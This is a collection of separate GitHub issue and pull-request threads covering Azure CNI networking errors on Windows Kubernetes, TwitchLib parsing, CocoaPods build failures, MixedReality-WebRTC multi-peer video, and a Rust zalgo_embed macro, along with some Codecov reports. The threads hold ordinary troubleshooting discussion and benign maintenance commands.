E0524 15:51:20.365689    4628 kuberuntime_gc.go:153] Failed to stop sandbox "b32575b25eaa5d59f713c85ca4626f5ebf934fa7b639873aaa52bc41443d152b" before removing: rpc error: code = Unknown desc = NetworkPlugin cni failed to teardown pod "nuget-nuget-64c46c8845-6q7zb_default" network: Failed to delete endpoint: HNS failed with error : The network was not found.
E0524 15:51:20.434680    4628 kubelet_network.go:225] Failed to ensure that nat chain KUBE-MARK-DROP exists: error creating chain "KUBE-MARK-DROP": executable file not found in %PATH%:
2018/05/24 15:51:20 Going to send Telemetry report to hostnetagent http://<IP_ADDRESS>/machine/plugins?comp=netagent&type=cnireport
2018/05/24 15:51:20 "Start Flag false Name CNI Version v1.0.2 ErrorMessage Failed to delete endpoint: HNS failed with error : The network was not found.  vnet []

I think this might be related to this issue?
https://github.com/Azure/azure-container-networking/issues/76
Which Orchestrator and version (e.g. Kubernetes, Docker): Kubernetes
What happened: IP Addresses exhausted
What you expected to happen: Old IP Addresses to be removed, and new ones assigned
How to reproduce it (as minimally and precisely as possible):

Windows 10.0.16299.371 (WinBuild.160101.0800)
Azure CNI VNET v1.0.2
Believe this can be reproduced simply by starting and stopping many containers

Anything else we need to know: Happy to provide more information ^_^

I have tried a few things to resolve this issue but to no avail.
Last thing I tried was this: https://github.com/andyzhangx/demo/blob/master/issues/network-issues.md#2-azure-cni-failed-to-allocate-address
Ideally am looking for a way to free up these IPS from CNI, without destroying the Windows VM.

Am now seeing this in my logs:
E0529 14:03:20.033593     464 remote_runtime.go:115] StopPodSandbox "6fb06948b6a1b141079ac343a7daae67bc01885e2724da2b7b6759db013e7d20" from runtime service failed: rpc error: code = Unknown desc = NetworkPlugin cni failed to teardown pod "nuget-nuget-64c46c8845-ws46r_default" network: netplugin failed but error parsing its diagnostic message "": unexpected end of JSON input

Is there documentation somewhere about how to update the CNI version? I'm not a kubernetes savant yet (my apologies).
I provisioned my kubernetes cluster using acs-engine, and can SSH onto the master node, but can't seem to gain access via RDP or SSH to the Windows nodes. I also have access to kubectl commands (although kubectl log always times out).

@BuairtRi to RDP to Windows machines you need to tunnel the connection through you SSH session. There is a guide here - https://www.saotn.org/tunnel-rdp-through-ssh/
Did updating CNI resolve this issue for you? I am facing the same problem.

Closing stale issue.


UserType always equals "Viewer" in OnChatCommandReceivedArgs

Hi, I've had this issue for awhile but haven't been able to resolve it.
I notice that in OnChatCommandReceivedArgs
Command.ChatMessage.UserType seems to always equals "Viewer" or "Broadcaster" even though the output from twitch looks like this:
[TwitchLib] Received: @badges=moderator/1;color=;display-name=testuser;emotes=;id=bcae9fc9-7c93-4641-9496-67e333b0d01b;mod=1;room-id=111927550;sent-ts=1491314238284;subscriber=0;tmi-sent-ts=1491314205113;turbo=0;user-id=115499748;user-type=mod<EMAIL_ADDRESS>PRIVMSG #testroom :!supershout
it never seems to evaluate to moderator.

Hiya,
Do you know if the same issue is true of OnChatMessageRecievedArgs?
Both use the same constructor for the instance of ChatMessage, so if it's an issue with the parsing in ChatMessage, then it should occur with both events.

Looking into this now, I think I know what's up.

Didn't mean to close this.

I'm going to go ahead and close this, as it should be resolved :)


SMALL red dot for new notifications (NOT ALERTS)

tiny red dot for new notifications (NOT ALERTS)

dup of issue, closing


Custom heuristic

Codecov Report

Merging #230 (a701132) into master (cd3191f) will increase coverage by 0.00%.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master     #230   +/-   ##
=======================================
  Coverage   91.35%   91.35%
=======================================
  Files         128      128
  Lines       15567    15568    +1
=======================================
+ Hits        14221    14222    +1
  Misses       1346     1346

Impacted Files
Coverage Δ

unified_planning/engines/parallel.py
87.12% <ø> (ø)

unified_planning/engines/pddl_planner.py
71.42% <ø> (ø)

unified_planning/engines/factory.py
83.84% <100.00%> (+0.04%)
:arrow_up:

unified_planning/engines/mixins/oneshot_planner.py
91.66% <100.00%> (ø)

...ified_planning/engines/oversubscription_planner.py
88.11% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Is this still supported? begin, commit etc

https://github.com/siddontang/ledisdb/issues/140

This feature has been removed.


Components util react imports

This PR adds a couple of basic tests to the existing Components.detect functionality.
Next it adds a facility for detecting the imported React identifiers during a parse, and adds a simple test for that detection.
This is an extraction of work initiated in https://github.com/yannickcr/eslint-plugin-react/pull/2921 and supports that PR
I think having a test runner for the Components.detect utility was worthwhile in itself, and separated that test-runner functionality into its own commit.

Codecov Report

Merging #3149 (146eefb) into master (32f2e24) will decrease coverage by 3.07%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master    #3149      +/-   ##
==========================================
- Coverage   97.50%   94.42%   -3.08%
==========================================
  Files         119      119
  Lines        8103     8129      +26
  Branches     2888     2895       +7
==========================================
- Hits         7901     7676     -225
- Misses        202      453     +251

Impacted Files
Coverage Δ

lib/util/Components.js
98.94% <100.00%> (+0.06%)
:arrow_up:

lib/util/propTypes.js
68.18% <0.00%> (-29.21%)
:arrow_down:

lib/util/ast.js
75.00% <0.00%> (-21.16%)
:arrow_down:

lib/rules/jsx-no-comment-textnodes.js
88.88% <0.00%> (-11.12%)
:arrow_down:

lib/rules/boolean-prop-naming.js
91.97% <0.00%> (-7.30%)
:arrow_down:

lib/rules/jsx-props-no-multi-spaces.js
94.11% <0.00%> (-5.89%)
:arrow_down:

lib/rules/jsx-no-literals.js
95.65% <0.00%> (-4.35%)
:arrow_down:

lib/rules/no-unused-prop-types.js
90.00% <0.00%> (-4.00%)
:arrow_down:

lib/rules/no-invalid-html-attribute.js
93.07% <0.00%> (-3.08%)
:arrow_down:

lib/rules/no-unused-state.js
94.80% <0.00%> (-3.04%)
:arrow_down:

... and 6 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 32f2e24...146eefb. Read the comment docs.

Note: I'm not treating this as semver-minor, since it's not really part of the public API.


errors being thrown from the pod can't build project

I've had the UICirularProgressRing library in my app for quite a while now and it's been working fine.   Today I did a pod install to install another pod (the Siren pod library) and when I run Xcode now, UICircularProgressRing is having these errors > as you can see the errors are in the pod files themselves not in my code:

BTW I am using the latest version of UICircularProgress ring.

d: file not found: /Users/Greg/Library/Developer/Xcode/DerivedData/fotocast-dxnejjpmgortzbbbdvxxkoejtvjh/Build/Intermediates.noindex/Pods.build/Debug-iphoneos/UICircularProgressRing.build/Objects-normal/arm64/UICircularProgressRingView.o
clang: error: linker command failed with exit code 1 (use -v to see invocation)

after cleaning the project I. now get these errors instead, which I don't understand because my project is swift and your library is swift so I don't know why the pod is looking for objective c:

This is because it’s been renamed to UICircularProgressRing. Please read the changelog and docs before posting an issue.

I did already rename all references of UICircularProgressRingView to UICircularProgressRing 7 days ago. It has been working fine since then, but today after doing a pod install to install another pod to my project only now I am getting the errors.
You can see from the photo that UICircularProgressRingView is in your framework, not anywhere in my project files.

check and see I am not using the old name anywhere in my project

Well, could you please fill out the required information before posting an issue so I can have a better idea of your environment? The lib compiles fine so I'd image it's an issue with some caching on your end, or Xcode being dumb as usual.
What version of Xcode, CocoaPods, UICircularProgressRing and iOS are you running?

Things to try:

Clean CocoaPods cache, pod cache clean --all
Update CocoaPods repo pod repo update
Reinstall pods pod install

xcode - latest non-beta version
uicircularprogressring - 3.2.0
iOS - 10.13.5 high Sierra
cocoa pods - 1.5.3
steps I have already performed:

clean and rebuild project (didn't work)
delete derived data (didn't work)
pod update (didn't work)
reinstall xcode (didn't work)
run system cleaner (didn't work)

The weird thing is if I delete my local working copy of my project and checkout the latest version again from GitHub, the project builds fine. But as soon as I add any more pods to my project, then your pod is throwing the errors.
Do you think there's some kind of conflict with yours and the Siren pod? that is the one I'm trying to install

Could you try the steps I outlined above and see if that does anything? Seems like a Pods caching issue

ok that worked thank you!!! I tried googling how to do something like that with the pod thing before but couldn't find anything

No problem, glad we got it sorted.

it was this one that fixed it by the way
pod cache clean --all


Receiving multiple remote tracks/streams

Hi,
I've been integrating the MixedReality-WebRTC SDK and as I've been going along I've hit a stumbling block I hope someone can help with, namely how are you able to receive multiple remote tracks?  All the track related logic appears to only ever consider 1 remote track.  For example neither of these events contain a track/streamID:
OnTrackAdded(TrackKind trackKind)
OnI420ARemoteVideoFrameReady(I420AVideoFrame frame)

Are multiple remote tracks on the same peer connection possible with the SDK?  Or is there an expectation to use a new peer connection for each desired remote track?  I imagine that would use way more resources that a single peer connection with multiple remote tracks.
To give an idea of my use case:

I make a peer connection to a relay server using a unique connection ID.
If any other (remote) peers connect to the relay server with the same connection ID then the relay server notifies me that a new remote track ID is available.
On my peer connection I go through the offer/answer process (the updated SDP includes the newly added remote track).
I receive a "TrackAdded" event with the new remote track/stream included.

Disclaimer: I started a few weeks ago with the webrtc-uwp-sdk SDK and have the above scenario working with that SDK because it supports multiple remote tracks.  It includes an OnTrack event with the following signature:
public delegate void RTCPeerConnection_OnTrackDelegate(IRTCTrackEvent Event);
where IRTCTrackEvent contains:
public interface IRTCTrackEvent
{
    IRTCRtpReceiver Receiver { get; }
    IMediaStreamTrack Track { get; }   ====> this has track ID and stream source data
    IRTCRtpTransceiver Transceiver { get; }
}

I'm surprised I don't see the same setup in the MixedReality-WebRTC SDK and would appreciate any insight one can send my way.  So far I find the MixedReality-WebRTC is much easier to use than webrtc-uwp-sdk and a big bonus is it offers more than just a UWP platform (e.g. Unity integration & Desktop apps).
Thanks!
Andrej

Yes this is by design due to lack of resources, for v1.0 we did the simple thing of supporting a single remote track per peer connection. For v2.0 we will support multi-tracks for all media (audio and video, local and remote). Currently on master this has been committed for local video tracks only though, and the 3 other ones still support a single track per peer connection only. You can either wait for support in v2.0 (or on master as soon as it comes, probably several weeks though with the holidays etc.) or go with multiple peer connections for now as a workaround.

Aah okay.  It's good to know the timeline when multi-tracks will be available for remotes.  In the meantime I will try using separate peer connections for each new remote connected after the first one.
One thing which could be a problem for the additional peer connections is the SDP would need to be set to receive only, i.e. I only want to receive video from the remote, I don't want to duplicate sending my local video out multiple times.  I don't see any way in the current API to do that...I can access the raw local SDP string when the LocalSdpReadytoSend event is called, and modify the raw SDP.  But it looks like the SetLocalDescription call is done internally and thus won't use my modified raw SDP string.
Just a sidenote that on the project's github readme.md one of the bullets is:

Enables multi-track real-time audio / video / data communication with a remote peer

Which led me to believe that remote multi-tracks is supported.  Friendly suggestion to maybe add a note that it will be available in v2.0 :)
p.s. As this SDK gets more traction, which I really think it will, there will definitely be more engagement from the community so I hope you get a whole bunch more support/resources ;)

Thinking about the above workaround, if I create a new peer connection for each additional remote track and I don't call Peer.AddLocalVideoTrackAsync() I would imagine that the SDP would be set to recv only.  I haven't tried this yet, but will see.

Yes that should work.

Hi Jerome,
Just leaving a quick update that I've implemented the workaround, i.e. for every remote peer, except for the 1st one, I create a new peer connection instance to receive the remote stream.
The key was to not call Peer.AddLocalVideoTrackAsync() on those remote peer connections and call Peer.SetLocalAudioTrackEnabled(false) so that not audio/video was being sent out. I also had to mute any incoming audio on those additional remote tracks of course :)
Cheers,
Andrej

Hi @drejx,
I am basically trying to achieve the same as you - a multipeer conference.
My current structure looks like that:

a new (native) PeerConnection is beeing created for each user of a session, i.e. a session of 2 people (user A and user B). Because of that I intent to create the offer for the local PeerConnection (i.e. user A) with "sendonly" and the offer for the remote peer (i.e. user B) with "recvonly".
(I am not using the Unity.PeerConnection class)

The problem i faced is, that for the local peer (user A), the IceConnectionState never switches to any other than "Checking". For the remote peer the state changes as expected from "Checking", over "Connected" to "Completed".
If that is the case, the local frames aren't beeing transmitted to the remote peer.
I have managed once to get the state to "Connected" and "Completed" when initiating the WebRTC workflow for the local PeerConnection. This happened only once and I had some BreakPoints in my Code. I can't seem to reproduce this behavior again and fail to have a successfull WebRTC session ongoing.
The PeerConnection.Connected event fires for both, my local PeerConnection and the remote PeerConnection.
You got maybe any idea why the IceConnectionState doesn't change for me in the described case?
FYI: On the backend-side I use Kurento.NET which generates the remote IceCandidates and answers for my offers I send out client-sided.
The information is then beeing sent to a Kurento Media Server over wss://.

Hi @sesd777 ,
Sorry for the late reply!  One thing I'd like to highlight in your case, if user A and user B want to connect and see each other then both their peer connections should be set to sendrecv.  But if you have more than 2 users, say user A, B and C then my setup is like this:
user A  sendrecv on user B
user A recv on user C

user B sendrecv on user C
user B recv on user A

user C sendrecv on user A
user C recv on user B

Of course the above doesn't show that the users don't really have a direct connection to each other, but rather everything is going through a TURN server (that is the way I have it).
In terms of why you don't get an IceConnection Completed event it might be similar to what I was getting.  I'm working with a custom TURN implementation, but maybe you're running into the same issue with Kurento.  For each new peer connection instance that I created (e.g. user A recv on user C), I also had to open a connection to the signaling server (wss://) and make a request to subscribe/connect/attach to the system.  If I didn't do that I would get rejected by the webrtc layer (security failure) and it would result in a IceConnection Failed event.
Hope it helps, good luck!

Hi @drejx ,
thank you for your answer.
I exactly do what you mentioned about the connection to the signalling server  for each new peer connection.
And yea my goal is to have a session ongoing with 3+ users, I used the example of user A and B to keep it simple to explain my problem. I have tried aswell to use sendrecv in any case but the result is the same. The event sometimes fires but often it doesn't. Im pretty sure that setting it to "sendonly" for yourself and to "recvonly" for the remote peers is a correct way in combination of Kurento, which does the rest. In current dev state we use google's coTURN with custom configuration or numb viagenies to exclude possible missconfiguration in the coTURN setup.
My current workaround will be to restart the whole offer/answer/ice exchange when the RenegotiationNeededEvent fires and the IceState hasn't switched to Connected/Completed yet.
For me it looks like that the internal IceManager struggles to find a corresponding pair of ice candidates although I'm using several STUN/TURN servers and the appropriate ports open.

The only other thing I think could be an issue is if the PeerConnectionConfiguration is not configured to expected values, for example, to connect to a TURN server:
            PeerConnectionConfiguration peerConfig = new PeerConnectionConfiguration()
            {
                IceServers = iceServerList,
                BundlePolicy = BundlePolicy.Balanced,
                IceTransportType = IceTransportType.Relay,
                SdpSemantic = SdpSemantic.PlanB
            };

And double-check whether the required SDP format is PlanB or Unified.
Best of luck!

@drejx Hello, I would like to ask whether the current release1.0 supports multi-player communication.I tried to build a three-person communication function. There are two peerconnection in my scene. I found that the islocalvideotrackEnabled of the peerconnection initialized first would become true.However, the second peerconnection that is initialized is always false after addlocalvideotrackasync(). Then the second peerconnection will not receive the remote video.So I would like to ask you how can I establish a three-person video communication

For C++ and C#, you need 2 peer connections per person. In release/1.0 and the corresponding NuGet packages, the peer connection only supports 1 audio track and 1 video track per connection. If you are using Unity, you need similarly 2 distinct peer connection components. And in both cases each peer connection needs its own signaling. Basically you have to duplicate everything.

@djee-ms  yes  ,i'm using Unity ，the problem is the second initialized  peerconnection seems like can't add a localvideotrack , its islocalvideotrackEnabled() property  log false all the time ,by the way  the perconnection 's   isconnected  property  is true . so how can i send my local video to another  two peerconnection ?

Ah right I just realized that won't work. The first peer connection will open the webcam, so the second one won't be able to access it. There is currently no solution for that, because the webcam is always opened with exclusive access.
One possible but very tedious workaround is to open and manage the webcam yourself, but this has several limitations:

You need to use master, because you need external video track sources to inject the video frames of the webcam into WebRTC
You need to rewrite some C++ track interfacing and C# wrapper
You need to manage all the frame capture etc. by yourself
You optionally need to rewrite a custom video track component for Unity

So this is a lot of work and I wouldn't recommend it.
Normally the typical way to support multiple peers (>2) is to use a media server, which handles duplicating the video feed to all participants. But that's a larger setup. That avoids having a network mesh topology though (1 connection per pair of participants), and replace it with a star topology.
Another way would be to separate the video track from its source, and allow a single source (webcam) to be shared by multiple tracks. This is what we already do for external video tracks in master, and we could extend it to the local video track opened from the webcam. Please feel free to open a new issue if you think that you need this feature, so we can consider it for planning.

that's exactly what i want to know  , help a lot ,thank

@djee-ms  yes , i'll open  a  new issue  later ,seem's like sharing  the webcam video source by multiple tracks is avaliable solution to me  ,i'll try  it   later


Documents for the different IPs should be standardized

The documents for the different IPs should be standardized so that they are structured in a similar way and the references should keep the same ID for the same element (CSIP7 should always be the same element in all documents).

Connected to issue https://github.com/DILCISBoard/E-ARK-CSIP/issues/372

This is bein addressed in the CSIP: https://github.com/DILCISBoard/E-ARK-CSIP/issues/372


Embed macro

I saw this on reddit, and specifically your comment

I don't know enough about Rust macros to know if it would be possible to create a macro that decodes a character like this and then passes the result on to the compiler. Does anyone know if this is feasible?

Inspired me to give it a go, this PR adds a zalgo_embed macro that does exactly this.

The merge conflict is a bit of a red herring.
Because the proc macro needs to be in a separate crate, and I wanted to reuse the zalgo_decode function, I moved all existing code to the common sub-crate. So, what used to be in src/lib.rs is now in common/src/lib.rs.
The new lib.rs just publically re-exports all items from both the common sub-crate (the existing API) and the macro sub-crate, which contains the new zalgo_embed macro.
Then, I added some basic tests in the root lib.rs using the macro to verify it works.

This is great! I think it's also that the code in the common subcrate is no longer up to date with the code in the main branch (I added a file decoding function). I guess the only thing that needs to be done is updating that code? Also feel free to add yourself to the authors in Cargo.toml if you want.

It should now be fixed, I took the changes you made to src/lib.rs and copied them over to common/src/lib.rs

Excellent! I will merge it in now.